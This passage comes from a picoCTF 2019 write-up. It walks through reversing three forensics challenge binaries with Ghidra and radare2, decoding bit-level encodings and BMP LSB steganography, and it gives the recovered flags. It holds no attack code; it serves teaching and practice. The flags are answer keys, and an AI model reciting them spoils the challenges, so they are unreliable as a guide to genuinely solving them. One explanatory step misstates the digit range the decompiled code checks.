
    iVar2 = param_1;
    if (param_1 < 0) {
        iVar2 = param_1 + 7;
    }
    bVar1 = (byte)(param_1 >> 0x37);
    return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >>
                    (7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1);
    }
   ```

   This function performs some bit-manipulation on the input using the `secret` global variable and returns a `0` or `1` (because of bitwise AND (`& 1`) at the end of the return statement).
7. `save()` decompiled (value from `getValue()` goes to `save()` in `main()`):

   ```cpp
    void save(byte param_1)

    {
    buffChar = buffChar | param_1;
    if (remain == 0) {
        remain = 7;
        fputc((int)(char)buffChar,output);
        buffChar = '\0';
    }
    else {
        buffChar = buffChar * '\x02';
        remain = remain + -1;
    }
    return;
    }
   ```

   This function creates a buffer in the `buffChar` global variable and writes to the `output` file once enough bits have come in to form a byte. The bitwise OR operation and multiplication by `'\x02'` effectively append the incoming bit to the buffer. For example if the bit `1` is the first bit inputted (so `buffChar` is 0) then `buffChar` is set to 1 and multiplied by 2, making it `10` in binary. Next, a `1` is inputted, so the bitwise OR between `10` and `1` is calculated to give `11`, which is then multiplied by 2 (decimal, 10 binary) to get `110`.

   This section of `encode()` now makes sense:

   ```cpp
    if (flag_size <= *flag_index) {
    while (remain != 7) {
        save(0);
    }
    return;
    }
   ```

   Since `remain` is global, both `encode()` and `save()` know about it. However many bytes are required to get to the next bit are appended as 0 (hence the `save(0)`). This ensures that the output is padded to the nearest byte and can be flushed correctly.
8. Get `matrix` and `secret` using `radare2` ([pc docs](https://r2wiki.readthedocs.io/en/latest/options/p/pc-p/)):

   ```
    [0x000007c0]> bf obj.secret
    [0x000007c0]> pc @ obj.secret
    #define _BUFFER_SIZE 37
    const uint8_t buffer[_BUFFER_SIZE] = {
    0xb8, 0xea, 0x8e, 0xba, 0x3a, 0x88, 0xae, 0x8e, 0xe8, 0xaa,
    0x28, 0xbb, 0xb8, 0xeb, 0x8b, 0xa8, 0xee, 0x3a, 0x3b, 0xb8,
    0xbb, 0xa3, 0xba, 0xe2, 0xe8, 0xa8, 0xe2, 0xb8, 0xab, 0x8b,
    0xb8, 0xea, 0xe3, 0xae, 0xe3, 0xba, 0x80
    };
    [0x000007c0]> bf obj.matrix
    [0x000007c0]> pcw @ obj.matrix
    #define _BUFFER_SIZE 54
    const uint32_t buffer[_BUFFER_SIZE] = {
    0x00000008U, 0x00000000U, 0x0000000cU, 0x00000008U, 0x0000000eU,
    0x00000014U, 0x0000000aU, 0x00000022U, 0x00000004U, 0x0000002cU,
    0x0000000cU, 0x00000030U, 0x0000000cU, 0x0000003cU, 0x0000000aU,
    0x00000048U, 0x00000006U, 0x00000052U, 0x00000010U, 0x00000058U,
    0x0000000cU, 0x00000068U, 0x0000000cU, 0x00000074U, 0x0000000aU,
    0x00000080U, 0x00000008U, 0x0000008aU, 0x0000000eU, 0x00000092U,
    0x0000000eU, 0x000000a0U, 0x00000010U, 0x000000aeU, 0x0000000aU,
    0x000000beU, 0x00000008U, 0x000000c8U, 0x00000006U, 0x000000d0U,
    0x0000000aU, 0x000000d6U, 0x0000000cU, 0x000000e0U, 0x0000000cU,
    0x000000ecU, 0x0000000eU, 0x000000f8U, 0x00000010U, 0x00000106U,
    0x0000000eU, 0x00000116U, 0x00000004U, 0x00000124U
    };
    [0x000007c0]> pc @ obj.matrix
    #define _BUFFER_SIZE 216
    const uint8_t buffer[_BUFFER_SIZE] = {
    0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00,
    0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
    0x14, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x22, 0x00,
    0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00,
    0x0c, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x0c, 0x00,
    0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
    0x48, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x52, 0x00,
    0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00,
    0x0c, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x0c, 0x00,
    0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
    0x80, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x8a, 0x00,
    0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00, 0x00,
    0x0e, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0xae, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
    0xbe, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xc8, 0x00,
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00,
    0x0a, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x0c, 0x00,
    0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
    0xec, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0xf8, 0x00,
    0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00,
    0x0e, 0x00, 0x00, 0x00, 0x16, 0x01, 0x00, 0x00, 0x04, 0x00,
    0x00, 0x00, 0x24, 0x01, 0x00, 0x00
    };
   ```

   The [`U` suffix](https://stackoverflow.com/a/4380700) means unsigned (no bit for negative or positive).
9. Find the sequences that correspond with each letter using the [decode.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_1/decode.py) script:

   ```
    a: 10111000
    b: 111010101000
    c: 11101011101000
    d: 1110101000
    e: 1000
    f: 101011101000
    g: 111011101000
    h: 1010101000
    i: 101000
    j: 1011101110111000
    k: 111010111000
    l: 101110101000
    m: 1110111000
    n: 11101000
    o: 11101110111000
    p: 10111011101000
    q: 1110111010111000
    r: 1011101000
    s: 10101000
    t: 111000
    u: 1010111000
    v: 101010111000
    w: 101110111000
    x: 11101010111000
    y: 1110101110111000
    z: 11101110101000
    Python dictionary: {'10111000': 'a', '111010101000': 'b', '11101011101000': 'c', '1110101000': 'd', '1000': 'e', '101011101000': 'f', '111011101000': 'g', '1010101000': 'h', '101000': 'i', '1011101110111000': 'j', '111010111000': 'k', '101110101000': 'l', '1110111000': 'm', '11101000': 'n', '11101110111000': 'o', '10111011101000': 'p', '1110111010111000': 'q', '1011101000': 'r', '10101000': 's', '111000': 't', '1010111000': 'u', '101010111000': 'v', '101110111000': 'w', '11101010111000': 'x', '1110101110111000': 'y', '11101110101000': 'z'}
   ```

   This script is a python version of the `getValue()` and `encode()` functions. The `encode()` function contains only the necessary components to encode each lower case letter of ascii and then print the calculated encoding.

   Additionally, this script uses a modified version of the `matrix` variable as shown below:

   ```python
    matrix = [
        0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00,
        0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
        0x14, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x22, 0x00,
        0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00,
        0x0c, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x0c, 0x00,
        0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
        0x48, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x52, 0x00,
        0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00,
        0x0c, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x0c, 0x00,
        0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
        0x80, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x8a, 0x00,
        0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00, 0x00,
        0x0e, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0xae, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
        0xbe, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xc8, 0x00,
        0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00,
        0x0a, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x0c, 0x00,
        0x00, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
        0xec, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0xf8, 0x00,
        0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x106, 0x00, 0x00, 0x00,
        0x0e, 0x00, 0x00, 0x00, 0x116, 0x00, 0x00, 0x00, 0x04, 0x00,
        0x00, 0x00, 0x124, 0x00, 0x00, 0x00
    ]
   ```

   As you can see, the differences are in the final three lines. In the original 1 byte representation of the original matrix all of the bytes are surrounded by `0x00` except for some in the last 3 rows. Without combining these bytes (bytes that are non-zero right next to each other like `0x06, 0x01`), the the letters "y" and "z" do not produce the correct values. When changing the values it is important to not remove a byte, instead just set it to `0x00`. Additionally, the bytes should be combined from right-to-left. So, for instance, `0x06, 0x01` becomes `0x0106` or just `0x106`.

   I'm not sure why the above is the case, but I believe it has to do with how [primitive data types](https://www.geeksforgeeks.org/c-data-types/) work in C++. I think that the `int` and `long` in the below lines force 4 bytes to be read.

   ```cpp
    local_10 = *(int *)(matrix + (long)((int)local_9 + -0x61) * 8 + 4);
    iVar2 = local_10 + *(int *)(matrix + (long)((int)local_9 + -0x61) * 8);
   ```

   These 4 bytes are read in reverse because of little endian. In the `getValue()` function, the data is read using `byte` and `char`, which can both only hold one byte so only one byte is read from `matrix`. Python does not work the same way and will only return the value at a position in an array, nothing more.
10. Run [solve.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_1/solve.py) to get `Flag: encodedsrdotzdkhx`. This script has a copy of the dictionary converting encoded characters to ascii as produced by [decode.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_1/decode.py). It loops through the bits of the original `output` file, which contains the encoded flag. The hex representation can be obtained with `xxd -c1 output | cut -d" " -f2 | tr -d "\n"`. For each loop the script adds the current bit to a buffer and checks if that buffer can decode to an ascii character using the dictionary. If not, it adds another bit, if yes, the script adds that letter to the `flag_decoded` variable and clears the buffer.
11. Other write-ups: [AMACB](https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/investigation_encoded_1) ([Archive](https://web.archive.org/web/20200604234256/https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/investigation_encoded_1)) and [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/investigation_encoded_1.md) ([Archive](https://web.archive.org/web/20200604234305/https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/investigation_encoded_1.md))

### Flag

`encodedsrdotzdkhx`


# Investigative Reversing 2

## Problem

> We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-2\_6\_2ea0f420e29d29b575882f681dc272d5 on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%202/mystery/README.md)
* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%202/encoded.bmp)

## Solution

1. Run `file mystery` which shows its is a ELF executable: `mystery: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld`...
2. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the right.

   \`\`\`c++ undefined8 main(void)

   { size\_t sVar1; long in\_FS\_OFFSET; char local\_7e; char local\_7d; int local\_7c; int local\_78; int local\_74; uint local\_70; undefined4 local\_6c; int local\_68; int local\_64; FILE *local\_60; FILE* local\_58; FILE \*local\_50; char local\_48 \[56]; long local\_10;

   local\_10 = *(long* )(in\_FS\_OFFSET + 0x28); local\_6c = 0; local\_60 = fopen("flag.txt","r"); local\_58 = fopen("original.bmp","r"); local\_50 = fopen("encoded.bmp","a"); if (local\_60 == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } if (local\_58 == (FILE* )0x0) { puts("original.bmp is missing, please run this on the server"); } sVar1 = fread(\&local\_7e,1,1,local\_58); local\_7c = (int)sVar1; local\_68 = 2000; local\_78 = 0; while (local\_78 < local\_68) { fputc((int)local\_7e,local\_50); sVar1 = fread(\&local\_7e,1,1,local\_58); local\_7c = (int)sVar1; local\_78 = local\_78 + 1; } sVar1 = fread(local\_48,0x32,1,local\_60); local\_64 = (int)sVar1; if (local\_64 < 1) { puts("flag is not 50 chars"); / *WARNING: Subroutine does not return* / exit(0); } local\_74 = 0; while (local\_74 < 0x32) { local\_70 = 0; while ((int)local\_70 < 8) { local\_7d = codedChar((ulong)local\_70,(ulong)(uint)(int)(char)(local\_48\[local\_74] + -5), (ulong)(uint)(int)local\_7e, (ulong)(uint)(int)(char)(local\_48\[local\_74] + -5)); fputc((int)local\_7d,local\_50); fread(\&local\_7e,1,1,local\_58); local\_70 = local\_70 + 1; } local\_74 = local\_74 + 1; } while (local\_7c == 1) { fputc((int)local\_7e,local\_50); sVar1 = fread(\&local\_7e,1,1,local\_58); local\_7c = (int)sVar1; } fclose(local\_50); fclose(local\_58); fclose(local\_60); if (local\_10 == *(long* )(in\_FS\_OFFSET + 0x28)) { return 0; } / *WARNING: Subroutine does not return* / \_\_stack\_chk\_fail(); }

````
ulong codedChar(int param_1,byte param_2,byte param_3)

{
byte local_20;

local_20 = param_2;
if (param_1 != 0) {
    local_20 = (byte)((int)(char)param_2 >> ((byte)param_1 & 0x1f));
}
return (ulong)(param_3 & 0xfe | local_20 & 1);
}
```
````

1. This time the program jumps to offset 2000, and hides a 50 character flag using [LSB](https://en.wikipedia.org/wiki/Bit_numbering#Least_significant_bit) encoding. More info on [BoiteAKlou's Infosec Blog](https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html) ([Archive](https://web.archive.org/web/20200603202609/https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html)). The error string `"flag is not 50 chars"` reveals that the flag is 50 characters long.
2. We can see that up to offset 2000 (`0x7d0`) we have a constant value of `0xe8`. Then, for `50 * 8` bytes we have different values (switching between `0xe9` and `0xe8`), and finally, at offset `0x960` we're back to `0xe8`. `0xe8` in binary is `0b11101000` and `0xe9` is `0b11101001`. In binary you can easily see the "least significant bit" modification that was made. Output of `xxd -g 1 -s $((2000 - 32)) -l $((50*8 + 64)) encoded.bmp`:

   ```bash
    000007b0: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8  ................
    000007c0: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8  ................
    000007d0: e9 e9 e8 e9 e8 e9 e9 e8 e8 e8 e9 e8 e8 e9 e9 e8  ................
    000007e0: e8 e9 e9 e9 e9 e8 e9 e8 e8 e9 e8 e9 e8 e9 e9 e8  ................
    000007f0: e8 e9 e9 e9 e9 e9 e8 e8 e9 e9 e9 e9 e8 e8 e9 e8  ................
    00000800: e9 e8 4e 4e 4e 4e 4f e8 e8 e9 e9 e8 e9 e9 e9 e8  ..NNNNO.........
    00000810: e9 e8 e8 e9 e8 e9 e9 e8 e8 e9 e9 e9 e8 e9 e8 e8  ................
    00000820: e9 e9 e8 e8 e9 e9 e9 e8 e9 e9 e9 e9 e8 e9 e9 e8  ................
    00000830: e8 e9 e8 e9 e9 e8 e9 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000840: e9 e8 e8 e9 e8 e9 e9 e8 e8 e9 e9 e9 e8 e9 e8 e8  ................
    00000850: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000860: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000870: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000880: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000890: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008a0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008b0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008c0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008d0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008e0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    000008f0: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000900: e9 e9 e8 e9 e8 e9 e8 e8 e9 e9 e8 e9 e8 e9 e8 e8  ................
    00000910: e9 e9 e8 e9 e8 e9 e8 e8 e9 e8 e8 e8 e9 e9 e8 e8  ................
    00000920: e8 e9 e9 e9 e9 e8 e9 e8 e8 e9 e8 e8 e9 e9 e8 e8  ................
    00000930: e8 e9 e9 e9 e8 e9 e8 e8 e9 e8 e9 e9 e8 e9 e8 e8  ................
    00000940: e8 e9 e9 e9 e9 e8 e9 e8 e8 e8 e8 e8 e8 e9 e9 e8  ................
    00000950: e8 e8 e8 e8 e8 e9 e9 e8 e8 e8 e8 e9 e9 e9 e9 e8  ................
    00000960: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8  ................
    00000970: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8  ................
   ```
3. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%202/script.py) to select the last bits from offset 2000 bytes to 2000+50\*8 bytes and then convert them to ascii. View the code for the low-levels details about how the code works (60% of the file is purely comments).

### Flag

`picoCTF{n3xt_0n300000000000000000000000006c732cee}`


# investigation\_encoded\_2

## Problem

> We have recovered a binary and 1 file: image01. See what you can make of it. Its also found in /problems/investigation-encoded-2\_6\_74ebdbfd3962c221df51c8ce5141b275 on the shell server. NOTE: The flag is not in the normal picoCTF{XXX} format.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_2/mystery/README.md)
* [Output (Image?)](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_2/output/README.md)

## Solution

1. Running the binary produces: `Error: file ./flag.txt not found`
2. Lets create a flag with `echo picoctf > flag.txt` and try running again which just causes a `Segmentation fault`
3. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)):

   ```cpp
    undefined8 main(void)

    {
    long lVar1;
    size_t sVar2;
    undefined4 local_18;
    int local_14;
    FILE *local_10;

    badChars = '\0';
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
        fwrite("Error: file ./flag.txt not found\n",1,0x21,stderr);
                        /* WARNING: Subroutine does not return */
        exit(1);
    }
    flag_size = 0;
    fseek(local_10,0,2);
    lVar1 = ftell(local_10);
    flag_size = (int)lVar1;
    fseek(local_10,0,0);
    login();
    if (0xfffe < flag_size) {
        fwrite("Error, file bigger than 65535\n",1,0x1e,stderr);
                        /* WARNING: Subroutine does not return */
        exit(1);
    }
    flag = malloc((long)flag_size);
    sVar2 = fread(flag,1,(long)flag_size,local_10);
    local_14 = (int)sVar2;
    if (local_14 < 1) {
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    local_18 = 0;
    flag_index = &local_18;
    output = fopen("output","w");
    buffChar = 0;
    remain = 7;
    fclose(local_10);
    encode();
    fclose(output);
    if (badChars == '\x01') {
        fwrite("Invalid Characters in flag.txt\n./output is corrupted\n",1,0x35,stderr);
    }
    else {
        fwrite("I\'m Done, check file ./output\n",1,0x1e,stderr);
    }
    return 0;
    }
   ```
4. `encode()` function decompiled:

   ```cpp
    void encode(void)

    {
    byte bVar1;
    int iVar2;
    int local_10;
    char local_9;

    while (*flag_index < flag_size) {
        local_9 = lower((ulong)(uint)(int)*(char *)(*flag_index + flag));
        if (local_9 == ' ') {
        local_9 = -0x7b;
        }
        else {
        if (('/' < local_9) && (local_9 < ':')) {
            local_9 = local_9 + 'K';
        }
        }
        local_9 = local_9 + -0x61;
        if ((local_9 < '\0') || ('$' < local_9)) {
        badChars = 1;
        }
        if (local_9 != '$') {
        iVar2 = ((int)local_9 + 0x12) % 0x24;
        bVar1 = (byte)(iVar2 >> 0x1f);
        local_9 = ((byte)iVar2 ^ bVar1) - bVar1;
        }
        local_10 = *(int *)(indexTable + (long)(int)local_9 * 4);
        iVar2 = *(int *)(indexTable + (long)((int)local_9 + 1) * 4);
        while (local_10 < iVar2) {
        getValue();
        save();
        local_10 = local_10 + 1;
        }
        *flag_index = *flag_index + 1;
    }
    while (remain != 7) {
        save(0);
    }
    return;
    }
   ```
5. `getValue()` function decompiled:

   ```cpp
    ulong getValue(int param_1)

    {
    byte bVar1;
    int iVar2;

    iVar2 = param_1;
    if (param_1 < 0) {
        iVar2 = param_1 + 7;
    }
    bVar1 = (byte)(param_1 >> 0x37);
    return (ulong)((int)(uint)(byte)secret[iVar2 >> 3] >>
                    (7 - (((char)param_1 + (bVar1 >> 5) & 7) - (bVar1 >> 5)) & 0x1f) & 1);
    }
   ```
6. `save()` function decompiled:

   ```cpp
    void save(byte param_1)

    {
    buffChar = buffChar | param_1;
    if (remain == 0) {
        remain = 7;
        fputc((int)(char)buffChar,output);
        buffChar = '\0';
    }
    else {
        buffChar = buffChar * '\x02';
        remain = remain + -1;
    }
    return;
    }
   ```
7. Differences from previous challenge, `investigation_encoded_1`:
   * The `matrix` array was replaced with `indexTable`
   * The digits 0-9 (inclusive) are valid for input (the flag can include numbers now). The while loop through the flag adds `K` (75) if the current character is between '\\' and '$', which are the ascii values for the digits 0-9. Adding `K` is important because `a` (97) is subtracted from each character, regardless whether its a number or not. 48 is the ascii value for 0. Adding 75 yields 123 and subtracting the 97 gives 26. This means that from 0-25 are the letters a-z and then starting at 26 are the numbers 0-9. Since 97 is always subtracted, only a-z, `{`, `|`, `}`, `~`, and any exceptions (0-9 and space) are accepted. However, the characters `{`, `|`, `}`, `~` would get the same encoding as `0`, `1`, `2`, and `3`, so they can be ignored.
   * The program performs some kind of manipulation on the characters before using them as array indices:

     ```cpp
       iVar2 = ((int)local_9 + 0x12) % 0x24;
       bVar1 = (byte)(iVar2 >> 0x1f);
       local_9 = ((byte)iVar2 ^ bVar1) - bVar1;
     ```
   * There is a `login` function which will crash the program (This was the cause of the `Segmentation fault` earlier). It can be skipped over during debugging.
8. Get `indexTable` and `secret` using `radare2`:

   ```
    [0x00000ae0]> bf obj.secret
    [0x00000ae0]> pc @ obj.secret
    #define _BUFFER_SIZE 71
    const uint8_t buffer[_BUFFER_SIZE] = {
    0x8b, 0xaa, 0x2e, 0xee, 0xe8, 0xbb, 0xae, 0x8e, 0xbb, 0xae,
    0x3a, 0xee, 0x8e, 0xee, 0xa8, 0xee, 0xae, 0xe3, 0xaa, 0xe3,
    0xae, 0xbb, 0x8b, 0xae, 0xb8, 0xea, 0xae, 0x2e, 0xba, 0x2e,
    0xae, 0x8a, 0xee, 0xa3, 0xab, 0xa3, 0xbb, 0xbb, 0x8b, 0xbb,
    0xb8, 0xae, 0xee, 0x2a, 0xee, 0x2e, 0x2a, 0xb8, 0xaa, 0x8e,
    0xaa, 0x3b, 0xaa, 0x3b, 0xba, 0x8e, 0xa8, 0xeb, 0xa3, 0xa8,
    0xaa, 0x28, 0xbb, 0xb8, 0xae, 0x2a, 0xe2, 0xee, 0x3a, 0xb8,
    0x00
    };
    [0x00000ae0]> bf obj.indexTable
    [0x00000ae0]> pcw @ obj.indexTable
    #define _BUFFER_SIZE 38
    const uint32_t buffer[_BUFFER_SIZE] = {
    0x00000000U, 0x00000004U, 0x00000012U, 0x00000028U, 0x0000003cU,
    0x00000052U, 0x00000064U, 0x00000078U, 0x0000008eU, 0x0000009eU,
    0x000000b4U, 0x000000c8U, 0x000000daU, 0x000000eaU, 0x000000fcU,
    0x0000010eU, 0x0000011eU, 0x00000134U, 0x00000148U, 0x0000015aU,
    0x0000016aU, 0x00000172U, 0x00000180U, 0x0000018cU, 0x0000019aU,
    0x000001aaU, 0x000001bcU, 0x000001c8U, 0x000001d6U, 0x000001e0U,
    0x000001eaU, 0x000001f0U, 0x00000200U, 0x0000020aU, 0x00000216U,
    0x00000222U, 0x00000230U, 0x00000234U
    };
    [0x00000ae0]> pc @ obj.indexTable
    #define _BUFFER_SIZE 152
    const uint8_t buffer[_BUFFER_SIZE] = {
    0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x12, 0x00,
    0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00,
    0x52, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x78, 0x00,
    0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00,
    0xb4, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0xda, 0x00,
    0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00,
    0x0e, 0x01, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x34, 0x01,
    0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x5a, 0x01, 0x00, 0x00,
    0x6a, 0x01, 0x00, 0x00, 0x72, 0x01, 0x00, 0x00, 0x80, 0x01,
    0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x9a, 0x01, 0x00, 0x00,
    0xaa, 0x01, 0x00, 0x00, 0xbc, 0x01, 0x00, 0x00, 0xc8, 0x01,
    0x00, 0x00, 0xd6, 0x01, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00,
    0xea, 0x01, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x02,
    0x00, 0x00, 0x0a, 0x02, 0x00, 0x00, 0x16, 0x02, 0x00, 0x00,
    0x22, 0x02, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x34, 0x02,
    0x00, 0x00
    };
   ```
9. Find the sequences that correspond with each letter using the [decode.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_2/decode.py) script:

   ```
    a: 101011101110111000
    b: 1010101110111000
    c: 10111000
    d: 10101010111000
    e: 101010101000
    f: 11101010101000
    g: 1110111010101000
    h: 111011101110101000
    i: 111010101000
    j: 11101011101000
    k: 1110101000
    l: 1010101000
    m: 101000
    n: 1011101110111000
    o: 1010111000
    p: 101010111000
    q: 101110111000
    r: 11101010111000
    s: 1000
    t: 10111010101000
    u: 1011101110111011101000
    v: 10111011101011101000
    w: 1110101110111010111000
    x: 111010111011101000
    y: 11101110111010101000
    z: 1110111010101110111000
    0: 1110101010111000
    1: 1110101110101110111000
    2: 10111010111010111000
    3: 111010101010111000
    4: 1011101011101000
    5: 101110101011101000
    6: 101011101110101000
    7: 1110101011101000
    8: 1110111011101110111000
    9: 10111011101110111000
    Python dictionary: {'101011101110111000': 'a', '1010101110111000': 'b', '10111000': 'c', '10101010111000': 'd', '101010101000': 'e', '11101010101000': 'f', '1110111010101000': 'g', '111011101110101000': 'h', '111010101000': 'i', '11101011101000': 'j', '1110101000': 'k', '1010101000': 'l', '101000': 'm', '1011101110111000': 'n', '1010111000': 'o', '101010111000': 'p', '101110111000': 'q', '11101010111000': 'r', '1000': 's', '10111010101000': 't', '1011101110111011101000': 'u', '10111011101011101000': 'v', '1110101110111010111000': 'w', '111010111011101000': 'x', '11101110111010101000': 'y', '1110111010101110111000': 'z', '1110101010111000': '0', '1110101110101110111000': '1', '10111010111010111000': '2', '111010101010111000': '3', '1011101011101000': '4', '101110101011101000': '5', '101011101110101000': '6', '1110101011101000': '7', '1110111011101110111000': '8', '10111011101110111000': '9'}
   ```

   Unlike the previous script in `investigation_encoded_1`, this script makes use of the C word (4 byte) representation of the `matrix`/`indexTable` variable instead of the 1 byte representation. To handle this, the `* 4` was removed from `index` and `end`. The `* 4` effectively selected every 4th value, so removing that and only keeping every 4th value is an alternative way to solve this challenge instead of manually updating the 1 byte representation of `indexTable` as was done in the previous challenge.
